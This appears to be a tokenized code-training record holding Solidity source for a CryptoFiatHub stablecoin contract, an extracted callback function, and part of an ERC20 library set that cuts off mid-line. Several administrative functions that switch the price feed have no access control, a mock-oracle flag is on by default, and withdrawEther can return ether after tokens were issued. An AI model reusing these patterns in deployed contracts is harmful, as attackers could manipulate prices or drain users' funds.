[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 711, 5568, 11523, 41, 1136, 12, 2867, 8027, 13, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 20438, 4819, 12, 20367, 2934, 4272, 1435, 473, 374, 92, 24, 422, 374, 92, 24, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.19; import './libraries/SafeMath.sol'; import './libraries/CryptoDollarStorageProxy.sol'; import './libraries/CryptoFiatStorageProxy.sol'; import './libraries/RewardsStorageProxy.sol'; import './interfaces/ProofTokenInterface.sol'; import './interfaces/RewardsInterface.sol'; import './interfaces/CryptoDollarInterface.sol'; import './interfaces/MedianizerInterface.sol'; import './utils/usingOraclize.sol'; import './utils/Logger.sol'; contract CryptoFiatHub is usingOraclize { using SafeMath for uint256; using CryptoFiatStorageProxy for address; using RewardsStorageProxy for address; enum State { PEGGED, UNPEGGED } enum Feed { ORACLIZE, MEDIANIZER } enum Func { Buy, Sell, SellUnpegged } CryptoDollarInterface public cryptoDollar; ProofTokenInterface public proofToken; RewardsInterface public proofRewards; MedianizerInterface public medianizer; Feed public feed; uint256 pointMultiplier = 10 ** 18; address public store; bool public mockOraclize = true; mapping (bytes32 => address) public callingAddress; mapping (bytes32 => uint256) public callingValue; mapping (bytes32 => Func) public callingFunction; mapping (bytes32 => uint256) public callingFee; string public IPFSHash; event OraclizeCallback(bytes32 queryId); event MedianizerCallback(); event BuyCryptoDollar(bytes32 queryId, address sender, uint256 value, uint256 oraclizeFee); event SellCryptoDollar(bytes32 queryId, address sender, uint256 tokenAmount, uint256 oraclizeFee); event SellUnpeggedCryptoDollar(bytes32 queryId, address sender, uint256 tokenAmount, uint256 oraclizeFee); event BuyCryptoDollarCallback(bytes32 queryId, uint256 exchangeRate, address sender, uint256 tokenAmount, uint256 paymentValue); event SellCryptoDollarCallback(bytes32 queryId, uint256 exchangeRate, address sender, uint256 tokenAmount, uint256 paymentValue); event SellUnpeggedCryptoDollarCallback(bytes32 queryId, uint256 exchangeRate, address sender, uint256 tokenAmount, uint256 paymentValue); function CryptoFiatHub( address _cryptoDollarAddress, address _storeAddress, address _proofTokenAddress, address _proofRewardsAddress) public { cryptoDollar = CryptoDollarInterface(_cryptoDollarAddress); proofToken = ProofTokenInterface(_proofTokenAddress); proofRewards = RewardsInterface(_proofRewardsAddress); store = _storeAddress; } /** * @notice initialize() initialize the CryptoFiat smart contract system (CryptoFiat/CryptoDollar/Rewards) * @param _blocksPerEpoch {uint256} - Number of blocks per reward epoch. * @param _IPFSHash {string} - ETH/USD conversion script IPFS address * @param _medianizerAddress {address} - Medianizer contract address */ //TODO need to set ownership model function initialize(uint256 _blocksPerEpoch, string _IPFSHash, address _medianizerAddress) public { store.setCreationBlockNumber(block.number); store.setBlocksPerEpoch(_blocksPerEpoch); IPFSHash = _IPFSHash; medianizer = MedianizerInterface(_medianizerAddress); } /** * @notice Change the feed type to Oraclize. Oraclize is an provable oracle * infrastructure compatible with Ethereum. */ function useOraclize() public { feed = Feed.ORACLIZE; mockOraclize = false; } /** * @notice Modify the ETH/USD price feed computation script IPFS address * @param _IPFSHash {string} */ function modifyOraclizeIPFSHash(string _IPFSHash) public { IPFSHash = _IPFSHash; } /** * @notice This function sets the Oraclize Address Resolver. * It should only be used for testing with a local ethereum-bridge * @param _oar {address} Oraclize Address Resolver */ function setOraclizeOAR(address _oar) public { if (_oar == 0x0) { _oar = 0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475; } OAR = OraclizeAddrResolverI(_oar); } /** * @notice Change the feed type to Medianizer. The medianizer is a smart-contract * operated by Maker that 'medianizes' the ETH/USD price feed. */ function useMedianizer() public { feed = Feed.MEDIANIZER; } /** * @notice Modify the Medianizer smart-contract address. * @param _medianizerAddress {address} Medianizer smart-contract address */ function modifyMedianizerAddress(address _medianizerAddress) public { medianizer = MedianizerInterface(_medianizerAddress); } /** * @dev Is payable needed ? * @notice Sending ether to the contract will result in an error */ function () public payable { revert(); } /** * @notice Capitalize contract */ function capitalize() public payable {} function buyCryptoDollar() public payable { require(msg.sender != 0x0); require(msg.value > 0); if (feed == Feed.ORACLIZE) { require(this.balance > oraclize_getPrice("computation")); bytes32 queryId; if (!mockOraclize) { queryId = oraclize_query("computation", [IPFSHash], 300000); } else { queryId = keccak256(block.number); //for testing purposes only } callingAddress[queryId] = msg.sender; callingValue[queryId] = msg.value; callingFunction[queryId] = Func.Buy; callingFee[queryId] = oraclize_getPrice("computation"); BuyCryptoDollar(queryId, msg.sender, msg.value, oraclize_getPrice("computation")); } else if (feed == Feed.MEDIANIZER) { bytes32 exchangeRateInBytes; (exchangeRateInBytes, ) = (medianizer.compute()); uint256 exchangeRate = uint256(exchangeRateInBytes); __medianizerCallback(exchangeRate, Func.Buy, msg.sender, msg.value); BuyCryptoDollar(0x0, msg.sender, msg.value, 0); } } /** * @dev Currently the oraclizeFee is withdrawn after receiving the tokens. However, what happens when a user * sells a very small amount of tokens ? Then the contract balance decreases (the total value sent to the user is also 0) * which is problematic. The workarounds are: * - Add a transaction fee that corresponds to the transaction fee * - Put a minimum amount of tokens that you could buy/sell * @notice sellCryptoDollar() sells CryptoDollar tokens for the equivalent USD value at which they were bought * @param _tokenAmount Number of CryptoDollar tokens to be sold against ether */ function sellCryptoDollar(uint256 _tokenAmount) public payable { uint256 oraclizeFee = oraclize_getPrice("computation"); uint256 tokenBalance = cryptoDollar.balanceOf(msg.sender); require(_tokenAmount >= 0); require(_tokenAmount <= tokenBalance); if (feed == Feed.ORACLIZE) { bytes32 queryId; if (!mockOraclize) { queryId = oraclize_query("computation", [IPFSHash], 300000); } else { queryId = keccak256(block.number); //for testing purposes only } callingAddress[queryId] = msg.sender; callingValue[queryId] = _tokenAmount; callingFunction[queryId] = Func.Sell; callingFee[queryId] = oraclizeFee; SellCryptoDollar(queryId, msg.sender, _tokenAmount, oraclizeFee); } else if (feed == Feed.MEDIANIZER) { bytes32 exchangeRateInBytes; (exchangeRateInBytes, ) = (medianizer.compute()); uint256 exchangeRate = uint256(exchangeRateInBytes); __medianizerCallback(exchangeRate, Func.Sell, msg.sender, _tokenAmount); SellCryptoDollar(0x0, msg.sender, _tokenAmount, 0); } } /** * @notice sellUnpeggedCryptoDollar sells CryptoDollar tokens for the equivalent ether value at which they were bought * @param _tokenAmount Number of CryptoDollar tokens to be sold against ether */ function sellUnpeggedCryptoDollar(uint256 _tokenAmount) public payable { uint256 oraclizeFee = oraclize_getPrice("computation"); uint256 tokenBalance = cryptoDollar.balanceOf(msg.sender); require(_tokenAmount >= 0); require(_tokenAmount <= tokenBalance); if (feed == Feed.ORACLIZE) { bytes32 queryId; if (!mockOraclize) { queryId = oraclize_query("computation", [IPFSHash], 300000); } else { queryId = keccak256(block.number); } callingAddress[queryId] = msg.sender; callingValue[queryId] = _tokenAmount; callingFunction[queryId] = Func.SellUnpegged; callingFee[queryId] = oraclizeFee; SellUnpeggedCryptoDollar(queryId, msg.sender, _tokenAmount, oraclizeFee); } else if (feed == Feed.MEDIANIZER) { bytes32 exchangeRateInBytes; (exchangeRateInBytes, ) = (medianizer.compute()); uint256 exchangeRate = uint256(exchangeRateInBytes); __medianizerCallback(exchangeRate, Func.SellUnpegged, msg.sender, _tokenAmount); SellUnpeggedCryptoDollar(0x0, msg.sender, _tokenAmount, 0); } } /** * @notice __callback is triggered asynchronously after a buy/sell through Oraclize. * @dev In production this function should be callable only by the oraclize callback address. * The contract has to be appropriately set up to do so * @param _queryId {bytes32} Oraclize Query ID identidying the original transaction * @param _result {string} Oraclize query result (average of the ETH/USD price) */ function __callback(bytes32 _queryId, string _result) public onlyOraclize { uint256 exchangeRate = parseInt(_result); uint256 value = callingValue[_queryId]; address sender = callingAddress[_queryId]; uint256 fee = callingFee[_queryId]; if (callingFunction[_queryId] == Func.Buy) { buyCryptoDollarCallback(_queryId, exchangeRate, value, sender, fee); } else if (callingFunction[_queryId] == Func.Sell) { sellCryptoDollarCallback(_queryId, exchangeRate, value, sender, fee); } else if (callingFunction[_queryId] == Func.SellUnpegged) { sellUnpeggedCryptoDollarCallback(_queryId, exchangeRate, value, sender, fee); } } function __medianizerCallback(uint256 _exchangeRate, Func _func, address _sender, uint256 _value) internal { if (_func == Func.Buy) { buyCryptoDollarCallback(0x0, _exchangeRate, _value, _sender, 0); } else if (_func == Func.Sell) { sellCryptoDollarCallback(0x0, _exchangeRate, _value, _sender, 0); } else if (_func == Func.SellUnpegged) { sellUnpeggedCryptoDollarCallback(0x0, _exchangeRate, _value, _sender, 0); } } /** * @notice buyCryptoDollarCallback is called internally through __callback * This function is called if the queryID corresponds to a Buy call * @param _exchangeRate {uint256} Oraclize queryID identifying the original transaction * @param _value {uint256} Amount of ether exchanged for cryptodollar tokens * @param _sender {address} Transaction sender address * @param _oraclizeFee {uint256} Oraclize Fee */ function buyCryptoDollarCallback(bytes32 _queryId, uint256 _exchangeRate, uint256 _value, address _sender, uint256 _oraclizeFee) internal { require(inState(State.PEGGED, _exchangeRate)); uint256 tokenHoldersFee = _value.div(200); uint256 bufferFee = _value.div(200); uint256 paymentValue = _value - tokenHoldersFee - bufferFee - _oraclizeFee; proofRewards.receiveRewards.value(tokenHoldersFee)(); uint256 tokenAmount = paymentValue.mul(_exchangeRate).div(1 ether); cryptoDollar.buy(_sender, tokenAmount, paymentValue); BuyCryptoDollarCallback(_queryId, _exchangeRate, _sender, tokenAmount, paymentValue); } /** * @notice buyCryptoDollarCallback is called internally through __callback * This function is called if the queryID corresponds to a Sell call * @param _exchangeRate {uint256} Exchange Rate * @param _tokenAmount {uint256} Amount of tokens to be sold * @param _sender {address} Transaction sender address * @param _oraclizeFee {string} Oraclize Fee (0 if called from medianizer) */ function sellCryptoDollarCallback(bytes32 _queryId, uint256 _exchangeRate, uint256 _tokenAmount, address _sender, uint256 _oraclizeFee) internal { require(inState(State.PEGGED, _exchangeRate)); uint256 tokenBalance = cryptoDollar.balanceOf(_sender); uint256 reservedEther = cryptoDollar.reservedEther(_sender); require(_tokenAmount > 0); require(_tokenAmount <= tokenBalance); uint256 tokenValue = _tokenAmount.mul(1 ether).div(_exchangeRate); require(tokenValue > _oraclizeFee); uint256 paymentValue = tokenValue - _oraclizeFee; uint256 etherValue = _tokenAmount.mul(reservedEther).div(tokenBalance); cryptoDollar.sell(_sender, _tokenAmount, etherValue); _sender.transfer(paymentValue); SellCryptoDollarCallback(_queryId, _exchangeRate, _sender, _tokenAmount, paymentValue); } /** * @notice sellUnpeggedCryptoDollarCallback is called internally through __callback * This function is called if the queryID corresponds to a SellUnpegged call * @param _exchangeRate {uint256} Exchange rate * @param _tokenAmount {uint256} Amount of tokens to be sold for ether * @param _sender {address} Transaction sender address * @param _oraclizeFee {string} Oraclize Fee (0 if called from medianizer) */ function sellUnpeggedCryptoDollarCallback(bytes32 _queryId, uint256 _exchangeRate, uint256 _tokenAmount, address _sender, uint256 _oraclizeFee) internal { require(inState(State.UNPEGGED, _exchangeRate)); uint256 tokenBalance = cryptoDollar.balanceOf(_sender); uint256 reservedEther = cryptoDollar.reservedEther(_sender); require(_tokenAmount > 0); require(_tokenAmount <= tokenBalance); uint256 tokenValue = _tokenAmount.mul(reservedEther).div(tokenBalance); require(tokenValue > _oraclizeFee); uint256 paymentValue = tokenValue - _oraclizeFee; cryptoDollar.sell(_sender, _tokenAmount, tokenValue); _sender.transfer(paymentValue); SellUnpeggedCryptoDollarCallback(_queryId, _exchangeRate, _sender, _tokenAmount, paymentValue); } /** * @notice Proxies _holder CryptoDollar token balance from the CryptoDollar contract * @param _holder cryptoDollar token holder balance * @return the cryptoDollar token balance of _holder */ function cryptoDollarBalance(address _holder) public constant returns(uint256) { return cryptoDollar.balanceOf(_holder); } /** * @notice Proxies the total supply of CryptoDollar tokens from the CryptoDollar contract * @return Total supply of cryptoDollar */ function cryptoDollarTotalSupply() public constant returns (uint256) { return cryptoDollar.totalSupply(); } /** * @notice The totalOutstanding() function returns the amount of ether that is owed to all cryptoDollar token holders for a pegged contract state * @return Total value in ether of the cryptoDollar tokens that have been issued */ function totalOutstanding(uint256 _exchangeRate) public constant returns(uint256) { uint256 supply = cryptoDollar.totalSupply(); return supply.mul(1 ether).div(_exchangeRate); } /** * @notice The buffer function computes the difference between the current contract balance and the amount of outstanding tokens. * @param _exchangeRate {uint256} * @return {int256} Buffer Value */ function buffer(uint256 _exchangeRate) public constant returns (int256) { int256 value = int256(this.balance - totalOutstanding(_exchangeRate)); return value; } /** * @notice Returns a boolean corresponding to whether the contract is in state _state * (for 1 ETH = _exchangeRate USD) * @param _state {State} * @param _exchangeRate {uint256} * @return {bool} */ function inState(State _state, uint256 _exchangeRate) public view returns (bool) { if (buffer(_exchangeRate) > 0) { return (_state == State.PEGGED); } else { return (_state == State.UNPEGGED); } } /** * @notice Returns contract balance * @return {uint256} Contract Balance */ function contractBalance() public constant returns (uint256) { return this.balance; } /** * @notice Allows cryptoDollar buyers to withdraw the ether value sent to the contract * before the callback function happens. This allows users to retrieve the funds sent * to the CryptoDollar contract in case oraclize fails to send a callback transaction * @param _queryId {bytes32} - Oraclize query ID */ function withdrawEther(bytes32 _queryId) public { require(callingAddress[_queryId] == msg.sender); require(callingFunction[_queryId] == Func.Buy); uint256 oraclizeFee = callingFee[_queryId]; uint256 value = callingValue[_queryId]; uint256 tokenHoldersFee = value.div(200); uint256 paymentValue = value - tokenHoldersFee - oraclizeFee; require(paymentValue > 0); delete callingValue[_queryId]; msg.sender.transfer(paymentValue); } modifier onlyOraclize() { if (!mockOraclize) { require(msg.sender == oraclize_cbAddress()); } _; } }
* @notice buyCryptoDollarCallback is called internally through __callback This function is called if the queryID corresponds to a Buy call @param _exchangeRate {uint256} Oraclize queryID identifying the original transaction @param _value {uint256} Amount of ether exchanged for cryptodollar tokens @param _sender {address} Transaction sender address @param _oraclizeFee {uint256} Oraclize Fee/
function buyCryptoDollarCallback(bytes32 _queryId, uint256 _exchangeRate, uint256 _value, address _sender, uint256 _oraclizeFee) internal { require(inState(State.PEGGED, _exchangeRate)); uint256 tokenHoldersFee = _value.div(200); uint256 bufferFee = _value.div(200); uint256 paymentValue = _value - tokenHoldersFee - bufferFee - _oraclizeFee; proofRewards.receiveRewards.value(tokenHoldersFee)(); uint256 tokenAmount = paymentValue.mul(_exchangeRate).div(1 ether); cryptoDollar.buy(_sender, tokenAmount, paymentValue); BuyCryptoDollarCallback(_queryId, _exchangeRate, _sender, tokenAmount, paymentValue); }
6,385,769
[ 1, 70, 9835, 18048, 40, 25442, 2428, 353, 2566, 12963, 3059, 1001, 3394, 1220, 445, 353, 2566, 309, 326, 843, 734, 13955, 358, 279, 605, 9835, 745, 225, 389, 16641, 4727, 288, 11890, 5034, 97, 531, 354, 830, 554, 843, 734, 29134, 326, 2282, 2492, 225, 389, 1132, 288, 11890, 5034, 97, 16811, 434, 225, 2437, 431, 6703, 364, 13231, 369, 25442, 2430, 225, 389, 15330, 288, 2867, 97, 5947, 5793, 1758, 225, 389, 280, 10150, 554, 14667, 288, 11890, 5034, 97, 531, 354, 830, 554, 30174, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 30143, 18048, 40, 25442, 2428, 12, 3890, 1578, 389, 2271, 548, 16, 2254, 5034, 389, 16641, 4727, 16, 2254, 5034, 389, 1132, 16, 1758, 389, 15330, 16, 2254, 5034, 389, 280, 10150, 554, 14667, 13, 2713, 203, 225, 288, 203, 1377, 2583, 12, 267, 1119, 12, 1119, 18, 16533, 31602, 16, 389, 16641, 4727, 10019, 203, 1377, 2254, 5034, 1147, 27003, 14667, 273, 389, 1132, 18, 2892, 12, 6976, 1769, 203, 1377, 2254, 5034, 1613, 14667, 273, 389, 1132, 18, 2892, 12, 6976, 1769, 203, 1377, 2254, 5034, 5184, 620, 273, 389, 1132, 300, 1147, 27003, 14667, 300, 1613, 14667, 300, 389, 280, 10150, 554, 14667, 31, 203, 203, 1377, 14601, 17631, 14727, 18, 18149, 17631, 14727, 18, 1132, 12, 2316, 27003, 14667, 13, 5621, 203, 1377, 2254, 5034, 1147, 6275, 273, 5184, 620, 18, 16411, 24899, 16641, 4727, 2934, 2892, 12, 21, 225, 2437, 1769, 203, 203, 1377, 8170, 40, 25442, 18, 70, 9835, 24899, 15330, 16, 1147, 6275, 16, 5184, 620, 1769, 203, 1377, 605, 9835, 18048, 40, 25442, 2428, 24899, 2271, 548, 16, 389, 16641, 4727, 16, 389, 15330, 16, 1147, 6275, 16, 5184, 620, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.3; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: 